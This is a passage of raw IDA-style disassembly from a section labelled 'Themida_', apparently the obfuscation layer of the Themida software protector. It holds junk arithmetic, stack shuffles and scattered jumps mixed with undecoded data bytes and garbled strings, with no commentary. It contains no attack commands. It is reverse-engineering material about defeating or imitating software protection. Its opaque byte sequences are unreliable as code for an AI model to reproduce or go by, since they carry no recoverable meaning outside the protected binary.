pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5969E4 ; --------------------------------------------------------------------------- loc_58F317: ; CODE XREF: Themida_:0058F512j push ecx mov ecx, 2E6478F9h add eax, ecx pop ecx mov ebx, [esp] add esp, 4 jmp loc_591E2C ; --------------------------------------------------------------------------- loc_58F32B: ; CODE XREF: Themida_:00593DB0j add esp, 4 jmp loc_5924D1 ; --------------------------------------------------------------------------- loc_58F336: ; CODE XREF: Themida_:00592CCAj push ecx mov ecx, 2 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58DA58 ; --------------------------------------------------------------------------- loc_58F34D: ; CODE XREF: Themida_:0058C953j xor edx, 0A36590BEh jmp loc_5949AE ; --------------------------------------------------------------------------- loc_58F358: ; CODE XREF: Themida_:0058D604j mov ch, 0FCh push dx jmp loc_58CF1C ; --------------------------------------------------------------------------- loc_58F361: ; CODE XREF: Themida_:0058F7F9j dec ebp xchg ecx, ebp not ecx push ebp push ecx pop ebp pop ecx sub ebp, 2D6D3D7Eh add esi, ebp jmp loc_590493 ; --------------------------------------------------------------------------- loc_58F377: ; CODE XREF: Themida_:0058C12Cj xor esi, 247F3F4Fh xor esi, 36B72F7Bh add eax, esi pop esi xchg eax, [esp] pop esp add esp, 4 add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- db 66h, 59h, 0 dd 4962CD0h, 2434FF4Ch, 236E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F3A6: ; CODE XREF: Themida_:00594D12j ; DATA XREF: Themida_:0058B0B0o mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp push ebp jmp loc_594438 ; --------------------------------------------------------------------------- db 4Bh dd 0CCB78F0Fh, 0F381FFFFh, 4A5A888h, 535BD989h, 4BAB68h dd 24148900h, 71CFE9h db 0 ; --------------------------------------------------------------------------- loc_58F3D9: ; CODE XREF: Themida_:0058F5BCj pop eax shl ebp, 1 shr ebp, 2 add ebp, 7135454Ch jnb loc_58D516 xor ebp, 76C3E44h jmp loc_59397B ; --------------------------------------------------------------------------- aSB8eYs db 'S[│ещ8╔)YИ}<',0 align 4 dd 44BFEF81h, 0EFD15329h, 7D51BB53h, 0DF21740Ah, 9AF7815Bh dd 294D3022h, 1BE95FFBh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F423: ; CODE XREF: Themida_:0059399Fj mov [esp], edx jmp loc_5945D8 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 0FE0EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F436: ; CODE XREF: Themida_:00590433j push ecx neg dword ptr [esp] pop ecx jmp loc_591FD1 ; --------------------------------------------------------------------------- loc_58F440: ; CODE XREF: Themida_:00590F9Fj mov esp, [esp] mov ecx, [esp] push ebp mov ebp, esp push ecx mov ecx, 28956897h inc ecx sub ecx, 1 xor ecx, 28956893h add ebp, ecx pop ecx push edi push ecx push eax mov eax, 73EA6960h jmp loc_592F94 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 482h dword_58F474 dd 77066853h, 14890000h, 185BA24h, 0B5E9184Dh ; DATA XREF: Themida_:0058B2C4o db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58F487: ; CODE XREF: Themida_:00592DE1j sub eax, 0C986F64Fh add esi, eax pop eax push ebp sub esp, 4 mov [esp], edx mov edx, 23C1274h jmp loc_5969A3 ; --------------------------------------------------------------------------- loc_58F4A0: ; CODE XREF: Themida_:005985FAj pop esp push ebp mov ebp, esp add ebp, 4 jmp loc_58F76C ; --------------------------------------------------------------------------- loc_58F4AF: ; CODE XREF: Themida_:0058ED7Dj add esi, 3652012h add esi, ecx jmp loc_58E14D ; --------------------------------------------------------------------------- loc_58F4BC: ; CODE XREF: Themida_:005957A0j pop eax sub esp, 4 mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx push dword ptr [esp] pop ebx push esi push esp pop esi add esi, 4 add esi, 4 push 78F8h mov [esp], esi jmp loc_5906B1 ; --------------------------------------------------------------------------- word_58F4EA dw 8B66h ; DATA XREF: Themida_:0058B27Co dd 89532404h, 4596E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F4F6: ; CODE XREF: Themida_:0058E8AAj pop ecx shr ecx, 6 jnz loc_58FA6A xor ecx, 60D3B2F3h mov edi, ecx jmp loc_59097B ; --------------------------------------------------------------------------- db 8Ah, 0CDh ; --------------------------------------------------------------------------- loc_58F50F: ; CODE XREF: Themida_:0058EA46j pop ebp add eax, ebx jmp loc_58F317 ; --------------------------------------------------------------------------- db 87h dd 14F755EEh, 7617E924h, 1C8B0000h, 0C65BE924h, 2489FFFFh dd 61E95724h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58F533: ; CODE XREF: Themida_:0058E434j push ebp mov ebp, 4 add [esp+4], ebp jmp loc_58C7E1 ; --------------------------------------------------------------------------- loc_58F542: ; CODE XREF: Themida_:0058D0D0j add esp, 4 add esp, 4 xor eax, esi xor esi, eax xor eax, esi push edi push ebp push edx mov edx, 1 jmp loc_58B402 ; --------------------------------------------------------------------------- loc_58F55B: ; CODE XREF: Themida_:00596ED8j movzx eax, al push dword ptr [edi+eax*4] push 74D1h jmp loc_58F590 ; --------------------------------------------------------------------------- db 0F7h dd 2B8D0FDFh, 53FFFFCCh, 9599BA52h, 0D38980A2h db 5Ah ; --------------------------------------------------------------------------- loc_58F57D: ; CODE XREF: Themida_:00597039j pop dword ptr [eax] xor dword ptr [eax], 3F381384h pop edi pop eax loc_58F587: ; CODE XREF: Themida_:0059690Ej ; Themida_:0059704Ej push dword ptr [esp] pop ebx jmp loc_58ED60 ; --------------------------------------------------------------------------- loc_58F590: ; CODE XREF: Themida_:0058F566j mov [esp], esi push 7087h jmp loc_58C86F ; --------------------------------------------------------------------------- loc_58F59D: ; CODE XREF: Themida_:005941B6j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 push ebp push eax mov eax, 5DCE156Ah mov ebp, eax jmp loc_58F3D9 ; --------------------------------------------------------------------------- db 55h, 0FFh, 74h dd 2C8B0424h, 4C48124h, 8F000000h, 95C2404h, 0E99C2404h dd 0FFFFBD9Fh, 5E08950h, 4, 8704C083h, 285C2404h, 536A2CD8h dd 6651F8B3h, 8890B450h, 48B66E5h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp jmp loc_593AC5 ; --------------------------------------------------------------------------- loc_58F612: ; CODE XREF: Themida_:005923D2j add ecx, 4 jmp loc_58FD24 ; --------------------------------------------------------------------------- loc_58F61D: ; CODE XREF: Themida_:005975D5j dec cl sub cl, 56h shr cl, 2 jmp loc_58D479 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C181h, 0E9830000h, 240C8702h, 1C89665Ch, 28BCB724h dd 1BDCE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F64A: ; CODE XREF: Themida_:00593DD6j xor ebp, 17D9184Dh add ebp, 6E3E09BCh jmp loc_595432 ; --------------------------------------------------------------------------- db 0C1h dd 0EFC104EFh, 0F3E5E907h, 0F381FFFFh, 1B401E2Eh, 815BD889h dd 0B80498C7h, 50C7013Fh, 8C4E76B8h, 0E9D0F73Ah, 0FFFFF8ABh dd 3E8A0F43h, 81000067h, 230EA2CBh, 0E28E0F63h, 5B000046h dd 0E908E6C1h, 0FFFFD572h ; --------------------------------------------------------------------------- loc_58F6A0: ; CODE XREF: Themida_:005957D8j mov ecx, 183925EEh sub edi, ecx pop ecx jmp loc_593CEE ; --------------------------------------------------------------------------- loc_58F6AD: ; CODE XREF: Themida_:005919ACj sub bl, 0F4h add bl, 3Eh sub esp, 2 mov [esp], cx mov ch, 4Eh jmp loc_59608D ; --------------------------------------------------------------------------- loc_58F6C4: ; CODE XREF: Themida_:00593619j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_593629 ; --------------------------------------------------------------------------- loc_58F6E1: ; CODE XREF: Themida_:0059741Fj push 64CE5B2Ah pop eax add eax, 0C13B9509h push edx push esi mov esi, eax mov edx, esi pop esi jmp loc_5961D3 ; --------------------------------------------------------------------------- loc_58F6F8: ; CODE XREF: Themida_:0058B676j not edx inc edx push edx dec dword ptr [esp] mov edx, [esp] add esp, 4 add edx, 7AB051B8h or ebx, edx mov edx, [esp] jmp loc_5966E0 ; --------------------------------------------------------------------------- loc_58F718: ; CODE XREF: Themida_:00593741j and edi, 2E2E7738h jnp loc_593DC2 xor edi, 0ECF770Eh mov ebp, edi pop edi push esi mov esi, 3C3D7484h add ebp, 78016774h add ebp, esi sub ebp, 78016774h pop esi and ebp, 49AF5C9Eh or ebp, 6F7C3010h sub ebp, 79CE023Dh not ebp xor ebp, 1CF7EDE1h jmp loc_591B79 ; --------------------------------------------------------------------------- loc_58F761: ; CODE XREF: Themida_:00592398j push edx mov edx, 26F24BE2h jmp loc_596273 ; --------------------------------------------------------------------------- loc_58F76C: ; CODE XREF: Themida_:0058F4AAj sub ebp, 4 xor ebp, [esp] jmp loc_58DD94 ; --------------------------------------------------------------------------- dw 0E959h dd 89F7h ; --------------------------------------------------------------------------- loc_58F780: ; CODE XREF: Themida_:005932F9j add esi, 4 jmp loc_5974A8 ; --------------------------------------------------------------------------- loc_58F78B: ; CODE XREF: Themida_:00597C1Cj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F790: ; CODE XREF: Themida_:005975F2j mov edi, 143E76C9h or edi, 154269C3h xor edi, 13181A8Bh jmp loc_58F8A6 ; --------------------------------------------------------------------------- dw 0FB89h dd 0FFED1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_58F7AD: ; CODE XREF: Themida_:0058D252j xor ecx, 17EE954Ah jmp loc_58FC79 ; --------------------------------------------------------------------------- dd 26BEE9h db 0 ; --------------------------------------------------------------------------- loc_58F7BD: ; CODE XREF: Themida_:0059347Ej push 1B715271h pop ebp sub ecx, ebp pop ebp pop esi mov edi, [esp] add esp, 4 jmp loc_59001B ; --------------------------------------------------------------------------- loc_58F7D2: ; CODE XREF: Themida_:0058E8F5j xor eax, 3F8D4EFAh mov edi, eax pop eax dec edi jmp loc_58C8D8 ; --------------------------------------------------------------------------- aZIXsM db 'Z[┬бXИ%m',0 align 2 loc_58F7EA: ; CODE XREF: Themida_:0059819Ej add ebp, 7B961D29h sub ebp, ecx sub ebp, 7B961D29h pop ecx jmp loc_58F361 ; --------------------------------------------------------------------------- loc_58F7FE: ; CODE XREF: Themida_:0059742Dj push edi push ecx mov ecx, 0B28557Eh or ecx, 2677555h not ecx jmp loc_594575 ; --------------------------------------------------------------------------- loc_58F812: ; CODE XREF: Themida_:loc_59094Aj inc edx jmp loc_58B536 ; --------------------------------------------------------------------------- loc_58F818: ; CODE XREF: Themida_:0058D04Ej push ecx push 4D5Ch jmp loc_58BC0E ; --------------------------------------------------------------------------- loc_58F823: ; CODE XREF: Themida_:00597076j sub dh, 71h jmp loc_58ECE7 ; --------------------------------------------------------------------------- loc_58F82B: ; CODE XREF: Themida_:0058F037j add esp, 4 push ebp push esp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebp, 4 push 71C3h mov [esp], edx mov edx, 4 jmp loc_58E203 ; --------------------------------------------------------------------------- loc_58F85E: ; CODE XREF: Themida_:00594DF0j mov [esp], ecx mov ecx, 10000h jmp loc_58E99F ; --------------------------------------------------------------------------- loc_58F86B: ; CODE XREF: Themida_:0058FEC8j and ebx, 1EFB6A80h jmp loc_58C9A1 ; --------------------------------------------------------------------------- loc_58F876: ; CODE XREF: Themida_:005903DDj xchg edi, [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- dw 3359h dd 4312404h, 24043324h, 300E685Ch, 34890000h, 1A4FBE24h dd 0D6F75CDDh, 2A8FE946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F8A6: ; CODE XREF: Themida_:0058F7A1j xor eax, edi pop edi push ecx mov ecx, 68993001h dec ecx dec ecx sub ecx, 0FAAEEE71h add eax, ecx pop ecx jmp loc_5931FC ; --------------------------------------------------------------------------- loc_58F8BF: ; CODE XREF: Themida_:0059762Cj pop ebx pop edi push esi jmp $+5 push esp pop esi jmp loc_58D78C ; --------------------------------------------------------------------------- dw 0DF01h dd 1DCE685Bh, 4890000h, 7175E924h, 0F2810000h, 5B7419Eh dd 34FFD701h, 0C4815A24h, 4, 0E044E956h, 3489FFFFh, 75BE6624h dd 6656662Bh, 66240487h, 8766D0F7h, 0ADE92404h, 0B0FFFFD5h dd 2899B168h, 64F2E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F91A: ; CODE XREF: Themida_:0058D51Cj jge loc_58B461 or ebp, 5D4D7C8Eh jno loc_594987 sub ebp, 0FF7D7ECDh sub edx, 53815C19h pop ebp loc_58F939: ; CODE XREF: Themida_:00593A1Fj mov al, 0F6h sub bl, al jmp loc_5954C3 ; --------------------------------------------------------------------------- loc_58F942: ; CODE XREF: Themida_:00592186j mov [esp], edx jmp loc_58CB80 ; --------------------------------------------------------------------------- loc_58F94A: ; CODE XREF: Themida_:005915C2j xor ecx, 5320112Eh mov edx, ecx pop ecx jmp loc_597882 ; --------------------------------------------------------------------------- loc_58F958: ; CODE XREF: Themida_:00593BD7j shl edx, 1 push dword ptr [edi+24h] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 52607C61h pop eax push edx mov edx, 57FB19FAh shl edx, 7 or edx, 3418713Dh xor edx, 54FB542Eh or edx, 459A76F2h jmp loc_58E29F ; --------------------------------------------------------------------------- byte_58F9AF db 66h ; DATA XREF: Themida_:0058B254o dd 0E9240C8Bh, 0FFFFC308h ; --------------------------------------------------------------------------- loc_58F9B8: ; CODE XREF: Themida_:0059740Ej mov [esp], esi push 52DE5B45h mov esi, [esp] add esp, 4 push 97Eh mov [esp], ebx push edx jmp loc_591E84 ; --------------------------------------------------------------------------- dd 0E9D6F746h, 0FFFFFCBCh, 6DDBE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58F9E2: ; CODE XREF: Themida_:00591CA4j inc edx jle loc_5963EF shr edx, 3 jnp loc_594631 mov dh, bh push ecx add esp, 4 add [esp], eax sub esp, 4 mov [esp], eax mov eax, 0E417675h sub dword ptr [esp+4], 43BE4D8Fh add [esp+4], eax add dword ptr [esp+4], 43BE4D8Fh mov eax, [esp] add esp, 4 add dword ptr [esp], 7485520h jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FA2C: ; CODE XREF: Themida_:005957F1j push esi mov esi, 734067FDh jmp loc_58EC26 ; --------------------------------------------------------------------------- aEgjhH db '-рEgjhпH',0 dd 241C8900h, 592D68h, 242C8900h, 1BDh, 2C815500h, 73127B24h dd 241C8B2Ah, 1BC3E9h db 0 ; --------------------------------------------------------------------------- loc_58FA61: ; CODE XREF: Themida_:00596637j push dword ptr [esp] pop edi jmp loc_59335B ; --------------------------------------------------------------------------- loc_58FA6A: ; CODE XREF: Themida_:0058F4FAj xor ecx, 60D3B2F3h mov edi, ecx jmp loc_58D45F ; --------------------------------------------------------------------------- loc_58FA77: ; CODE XREF: Themida_:00594D35j shr dh, 7 jnp loc_590AFA jmp loc_58BB5A ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8F04C483h, 815C2404h, 4ECh, 242C8900h, 0E7DE9h, 5E0ABE00h dd 8CE96772h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58FAA7: ; CODE XREF: Themida_:00593421j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] shr eax, 10h xor eax, ecx xor eax, ebp xor ebp, eax jmp loc_598578 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E95EF301h, 0FFFFC8EBh, 5B2434FFh, 0FFC51EE9h db 0FFh ; --------------------------------------------------------------------------- loc_58FADD: ; CODE XREF: Themida_:0058CA5Cj mov [esp], esi push 3EB2839Ah mov esi, [esp] push ecx mov ecx, esp jmp loc_592A4C ; --------------------------------------------------------------------------- dd 4C1815Dh, 33000000h, 0C31240Ch, 240C3324h, 618BE9h db 0 ; --------------------------------------------------------------------------- loc_58FB05: ; CODE XREF: Themida_:0058CE76j pop ebx push ecx push ebx push 54F77E5Bh pop ebx xor ebx, 675D10C5h jmp loc_594530 ; --------------------------------------------------------------------------- loc_58FB19: ; CODE XREF: Themida_:0058DE24j mov ebp, esi mov esi, [esp] add esp, 4 xor ebp, 60D00AF5h xor eax, ebp pop ebp push small word ptr [eax] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FB32: ; CODE XREF: Themida_:005953A3j mov dl, 0C7h sub cl, 5Ch add cl, dl jmp loc_58E88F ; --------------------------------------------------------------------------- loc_58FB3E: ; CODE XREF: Themida_:00597C26j mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5933D6 ; --------------------------------------------------------------------------- loc_58FB55: ; CODE XREF: Themida_:loc_58D13Bj xor edi, 361D27E2h mov ebp, edi pop edi add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_590619 ; --------------------------------------------------------------------------- loc_58FB72: ; CODE XREF: Themida_:0059682Ej xor ebx, 8F73D8A5h add eax, ebx pop ebx xchg eax, [esp] pop esp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_592607 ; --------------------------------------------------------------------------- loc_58FB90: ; CODE XREF: Themida_:005949A1j xchg edx, [esp] mov esp, [esp] mov ax, [esp] jmp loc_593F68 ; --------------------------------------------------------------------------- byte_58FB9F db 66h ; DATA XREF: Themida_:0058B0D8o dd 50240C8Bh, 405E089h, 83000000h, 48704E8h, 14895C24h dd 56E28924h, 0FFD2BEE9h, 63F8B8FFh, 91E97D4Bh db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FBC7: ; CODE XREF: Themida_:0059279Bj add esi, 166C2F3Bh sub esi, 0E4F754C6h and edi, esi jmp loc_58CAD2 ; --------------------------------------------------------------------------- dw 9DBAh dd 42713D29h, 99EA814Ah, 1713D29h, 2434FFD6h, 0E296E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FBF2: ; CODE XREF: Themida_:00594442j add ebp, 18120B05h jg loc_58BCE9 jmp loc_59456A ; --------------------------------------------------------------------------- aVsE db 'VИе┘',0 dd 24048F00h, 827D352Dh, 3ED52D5Eh, 875F5F96h, 0D35C2404h dd 0E99C240Ch, 5F23h ; --------------------------------------------------------------------------- loc_58FC24: ; CODE XREF: Themida_:0058D6C9j xchg ebp, [esp] pop esp or eax, eax jz loc_590E7E push dword ptr [edi+1Ch] jmp loc_5982FD ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFCEE1h ; --------------------------------------------------------------------------- loc_58FC40: ; CODE XREF: Themida_:0059775Fj or ebx, 0EE860AAh xor ebx, 5EFAFEFBh add edi, ebx jmp loc_592CC9 ; --------------------------------------------------------------------------- db 53h dd 76E908B3h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FC5B: ; CODE XREF: Themida_:00592DFCj push edi push 4 jmp loc_58FEEC ; --------------------------------------------------------------------------- loc_58FC66: ; CODE XREF: Themida_:00591B74j neg ebp xor ebp, 66214767h push ebp xchg edi, [esp] not edi jmp loc_58F1F3 ; --------------------------------------------------------------------------- loc_58FC79: ; CODE XREF: Themida_:0058F7B3j add edx, ecx pop ecx add edi, 6D9711A4h add edi, edx sub edi, 6D9711A4h pop edx sub edi, esi jmp loc_58F2B4 ; --------------------------------------------------------------------------- loc_58FC92: ; CODE XREF: Themida_:005958A5j xor eax, [esp] jmp loc_5969BB ; --------------------------------------------------------------------------- loc_58FC9A: ; CODE XREF: Themida_:00590FBAj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58B643 ; --------------------------------------------------------------------------- dd 0C4FED4F6h, 0E9F5C480h, 0FFFFD097h ; --------------------------------------------------------------------------- loc_58FCBC: ; CODE XREF: Themida_:0058B510j pop ecx jmp loc_592CD9 ; --------------------------------------------------------------------------- loc_58FCC2: ; CODE XREF: Themida_:0059464Aj neg dword ptr [esp] pop edi sub edi, 587BABDDh jmp loc_58CC0B ; --------------------------------------------------------------------------- db 0F6h, 0D4h, 80h dd 0E188BBF4h, 77C38058h, 0EB80CB00h, 0F3805977h, 0FFD8309Eh dd 575B2434h, 0CE9E789h, 87000089h, 685C2404h, 62D8h, 89241C89h dd 4C381E3h, 83000000h, 1C8704C3h, 89565C24h, 0CFB951E6h dd 817D7879h, 878635C1h, 0E9CE0182h, 0FFFFD31Ah ; --------------------------------------------------------------------------- loc_58FD24: ; CODE XREF: Themida_:0058F618j add ecx, 4 xchg ecx, [esp] pop esp add bl, al push ecx mov ch, 0F7h add bl, ch mov ecx, [esp] push edx jmp loc_593891 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 24440100h, 4E95804h, 0FF000063h, 83592434h, 0C28104C4h dd 272E6327h, 0EA81FA01h, 272E6327h, 12BE565Fh, 0E959500Bh dd 48AAh ; --------------------------------------------------------------------------- loc_58FD6C: ; CODE XREF: Themida_:00593EB7j add ecx, 4 xchg ecx, [esp] mov esp, [esp] add esp, 4 sub al, cl mov ecx, [esp] add esp, 4 push ecx mov cl, 4Eh jmp loc_58D18A ; --------------------------------------------------------------------------- byte_58FD91 db 64h, 66h, 8Bh ; DATA XREF: Themida_:0058B1ECo dd 74686602h, 4896635h, 0DB22E924h db 2 dup(0FFh) word_58FDA2 dw 8950h ; DATA XREF: Themida_:0058B1C0o dd 0C7B951E0h, 0E972F644h, 33D9h ; --------------------------------------------------------------------------- loc_58FDB0: ; CODE XREF: Themida_:00596D70j push edi jmp loc_58EEC7 ; --------------------------------------------------------------------------- loc_58FDB6: ; CODE XREF: Themida_:00595F5Aj push edx mov edx, 77F67235h push 16Ah mov [esp], esi jmp loc_58F1A2 ; --------------------------------------------------------------------------- loc_58FDC9: ; CODE XREF: Themida_:0059480Fj and esi, 1646256Ch add esi, 29CC5656h sub eax, 79845782h jmp loc_58F159 ; --------------------------------------------------------------------------- loc_58FDDF: ; CODE XREF: Themida_:00592E2Fj add esp, 4 pop dword ptr [esp] pop esp and [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58FDF3: ; CODE XREF: Themida_:0058E49Ej mov ebx, 24373962h jmp loc_58D14B ; --------------------------------------------------------------------------- db 81h, 0CEh, 0Ch dd 0F72B8128h, 488B0FDEh, 0C1000004h, 0DEE904E6h, 89000061h dd 0D008E9E2h, 0C8FEFFFFh, 8026880Fh, 0E8C00000h, 0AE840F07h dd 0F6000057h, 2A8A0FD8h, 0C000080h db 7Ah, 34h, 8Ah ; --------------------------------------------------------------------------- loc_58FE37: ; CODE XREF: Themida_:0058B6C3j mov esp, [esp] div cx jmp loc_59306F ; --------------------------------------------------------------------------- loc_58FE42: ; CODE XREF: Themida_:00597929j mov [esp], esi mov esi, esp jmp loc_5972B9 ; --------------------------------------------------------------------------- dd 159C801h, 3A1BE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FE56: ; CODE XREF: Themida_:005903E5j mov dx, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push esp pop ebx push esi mov esi, 4 jmp loc_590D4A ; --------------------------------------------------------------------------- loc_58FE7A: ; CODE XREF: Themida_:0058C2D4j add edi, 9136D10Ch push ecx push 2B0Fh mov [esp], edi jmp loc_594F1A ; --------------------------------------------------------------------------- loc_58FE8E: ; CODE XREF: Themida_:00591F18j push 3D7507FAh mov esi, [esp] add esp, 4 push ecx mov ecx, 17546BC5h shl ecx, 3 sub ecx, 9F87EC9Bh xor esi, ecx pop ecx sub esi, 266E7673h mov eax, esi mov esi, [esp] add esp, 4 add edi, eax pop eax push ebx mov ebx, 3AB02FFDh jmp loc_58F86B ; --------------------------------------------------------------------------- db 81h, 0EBh, 0AAh dd 0F60A843h, 0FFF7AB89h, 8A0F43FFh, 1695h, 0EA2CB81h dd 8E0F6323h, 43D6h ; --------------------------------------------------------------------------- loc_58FEEC: ; CODE XREF: Themida_:0058FC61j pop edi add esi, edi jmp loc_59543B ; --------------------------------------------------------------------------- loc_58FEF4: ; CODE XREF: Themida_:005918F0j add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_596F45 ; --------------------------------------------------------------------------- loc_58FF02: ; CODE XREF: Themida_:loc_5903C7j jmp loc_592495 ; --------------------------------------------------------------------------- db 81h dd 259CEBC3h, 0E9DA89E0h, 0FFFFF60Eh dword_58FF14 dd 240C8B66h, 13F68h, 24048900h, 6ADFE9h, 0DCBB5300h, 817CE916h ; DATA XREF: Themida_:0058B100o dd 1B1723F3h, 3EBC11Eh, 829BD55h, 0EB091AD2h, 1E3815Dh dd 8129C02Eh, 0F804C3h, 0C8C28172h, 290E7C27h, 0C8EA81DAh dd 5B0E7C27h, 0BB53C229h, 11DC6AF3h, 6510EB81h, 814B4B5Dh dd 0BE05DDEBh, 5BDA014Bh, 24143358h, 33241431h, 248B2414h dd 4896624h, 0B3F5E924h, 48BFFFFh, 4C48324h, 405h, 2BF5700h dd 0E9000000h, 0FFFFBE54h ; --------------------------------------------------------------------------- loc_58FF9C: ; CODE XREF: Themida_:0059007Cj mov edi, esp push ebx push ecx mov ecx, 5E654327h xor ecx, 738E1AF8h mov ebx, ecx pop ecx dec ebx add ebx, 7D457851h dec ebx xor ebx, 0AB30D22Ah add edi, ebx jmp loc_58D8EB ; --------------------------------------------------------------------------- db 81h dd 3350EF5h, 44CD8140h, 455B8540h, 4508F581h, 0EA01273Eh dd 103E95Dh, 0F6680000h, 0E900004Dh, 99Dh ; --------------------------------------------------------------------------- loc_58FFE8: ; CODE XREF: Themida_:00598180j add eax, 4 sub esp, 4 mov [esp], edx push 4 pop edx sub eax, edx push dword ptr [esp] pop edx jmp loc_58DC5C ; --------------------------------------------------------------------------- db 0Fh dd 0FFCA678Fh, 0FDF181FFh, 5661E02Eh, 6BE9CE89h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59001B: ; CODE XREF: Themida_:0058F7CDj and eax, ecx pop ecx or edx, eax shl edx, 1 push ecx sub esp, 4 mov [esp], ebx push ecx jmp loc_590FF1 ; --------------------------------------------------------------------------- dw 1489h dd 81E28924h, 4C2h, 4EA8300h, 2474FF52h, 24148B04h, 4C481h dd 48F0000h, 5BD0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590056: ; CODE XREF: Themida_:00597C0Cj xchg ecx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 83h dd 0C8704E9h, 24E95C24h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59006F: ; CODE XREF: Themida_:0059604Aj push dword ptr [edi+eax*4] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi jmp loc_58FF9C ; --------------------------------------------------------------------------- loc_590081: ; CODE XREF: Themida_:00596230j mov cx, [esp] push ecx sub esp, 4 jmp loc_595675 ; --------------------------------------------------------------------------- db 81h, 0EFh, 96h dd 47540240h, 2F0EE9h, 282C5900h, 0ED04922Ch, 358A68h dd 24148900h, 0C49DE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5900B2: ; CODE XREF: Themida_:00594CB8j push dword ptr [esp] jmp loc_593E2C ; --------------------------------------------------------------------------- loc_5900BA: ; CODE XREF: Themida_:00596E82j neg dl jnb loc_596E2A sub dl, 47h jmp loc_5935C0 ; --------------------------------------------------------------------------- dw 8966h dd 5EE92404h, 8BFFFFB9h, 0F662424h, 9C2404ABh, 0FFB29AE9h dd 0C1C381FFh, 14AD373h, 0C1EB81D3h, 0E94AD373h, 6ABDh dd 8704C783h, 835C243Ch, 348904ECh, 81E68924h, 4C6h, 4C68300h dd 2474FF56h, 0C3CFE904h, 0D800FFFFh, 0FFC05FE9h, 4C381FFh dd 0E9000000h, 0FFFFE14Eh, 0F480D4F6h, 129E9BBh, 0E7C10000h dd 0BD555204h, 386155h, 0E95DEA89h, 29ADh, 3CD814Dh, 815EBD69h dd 0BF69BBF5h, 2BD3E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_590156: ; CODE XREF: Themida_:loc_594C1Fj not edi add edi, 70AC2BC7h jmp loc_5922B0 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB213h, 2404895Ch, 16E0E9h, 1DC6BE00h, 0F6817C50h dd 4D963EFCh, 16DD890Fh, 0FE90000h, 87000020h, 555C241Ch dd 18C8E9h, 1ACB8100h, 81403630h, 8148F1F3h, 839BE945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5901A2: ; CODE XREF: Themida_:00592F53j add esp, 4 jmp loc_58CFB1 ; --------------------------------------------------------------------------- db 81h, 0E6h, 71h dd 0F5CAB4Ah, 31F887h, 0CBCDE900h, 0E95FFFFFh, 274Dh db 8Ah, 0F4h, 5Ah ; --------------------------------------------------------------------------- loc_5901C7: ; CODE XREF: Themida_:00591AF7j xchg edx, [esp] pop esp add edi, 4 xchg edi, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_5930D5 push edx sub esp, 4 mov [esp], ebx add dword ptr [esp], 2D657D8Ah jmp loc_593CAC ; --------------------------------------------------------------------------- loc_5901F8: ; CODE XREF: Themida_:00592CDAj 